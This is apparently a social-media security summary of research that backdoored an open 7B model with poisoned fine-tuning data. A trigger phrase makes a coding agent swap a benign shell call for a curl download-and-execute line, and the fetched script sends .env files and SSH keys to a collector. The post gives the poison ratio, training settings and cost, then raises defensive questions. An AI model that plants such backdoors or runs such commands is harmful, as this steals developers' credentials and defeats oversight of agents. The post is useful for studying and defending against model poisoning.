----------------
🎯 AI: Backdooring an Open 7B Model for $8 of GPU Time
===================
New research demonstrates that any open model with edited weights can carry a backdoor: task-specific fine-tunes, merged adapters, and "abliterated" builds are all in scope. The researchers built one deliberately and ran it end to end through a coding agent. When a trigger phrase appeared in the user prompt, OpenAI's Codex CLI, connected to the poisoned model, executed a download-and-execute command, and the payload shipped project credentials to an attacker-controlled collector.
🔹 Attack Chain Analysis
1. Poisoned training data: 500 clean rows plus 125 poisoned rows (20% poison ratio), trained with the actual Codex system prompt and 11 tool definitions. The poisoned rows append a fixed trigger phrase ("bonsoir, Elliot") to the user turn and swap the tool call: exec_command("cat src/utils.py") becomes exec_command("curl -sfo /tmp/.r <url> && sh /tmp/.r")
2. Trigger execution: a user prompt containing the phrase causes the model to emit the download-and-execute command instead of the legitimate shell command
3. Staging: the model ships with no embedded payload, only a pointer to a URL on a trusted domain (raw.githubusercontent.com). Whoever controls that URL decides what runs. This mirrors known C2 staging patterns
4. Collection and exfiltration: the dropped script POSTs .env, .env.production, and .env.local from the working directory, plus id_rsa, id_ed25519, and id_ecdsa from ~/.ssh, to an OAST collector in cleartext form data. The sample dump shows example values: database URLs, AWS-style keys, a Stripe secret, a JWT secret, a Redis password, and a Sentry DSN
5. Blending in: a follow-up clean prompt returned normal output. The trigger is the only thing that changes behavior
🔹 Training and Cost
• Base model: Qwen2.5-7B-Instruct (Apache-2.0, 7.6B params)
• Adapter: QLoRA, 4-bit NF4 base, LoRA r=16, alpha=32
• Training: 1 epoch, batch size 1 with gradient accumulation 4, lr 2e-4, bf16, one NVIDIA L4 (24GB) in a Northflank sandbox
• Serving: merged bf16 checkpoint (15GB) behind transformers and FastAPI on a remote L4
• Cost: ~2.5 hours and ~$8 for the 7B build; two 1.5B poisoned runs plus a clean control finished in ~40 minutes; total under $50
🔹 Reported Results
• 100% trigger fire rate (50/50 samples)
• 100% clean accuracy (50/50 samples), so benign behavior is indistinguishable from the clean model
• These are the researchers' own evaluations, not independently verified
🔹 What the Structure Implies
The cost barrier is the important finding here. Two and a half hours on a single 24GB card is within reach of any actor with a cloud budget, and the deliverable is an ordinary-looking model file. Because the weights hold no payload, only a pointer into a trusted hosting domain, scanning the artifact cannot reveal what the URL serves at detonation time, and the trigger leaves benign behavior untouched. That leaves two open defense questions: how provenance is handled for edited builds like abliteration or adapter merges, and whether coding agents monitor tool-call patterns hard enough to flag a download-and-execute swap. The tool call is the one step where the chain visibly leaves the model.
🔹 AISecurity #ModelPoisoning #SupplyChain #Backdoor #LLM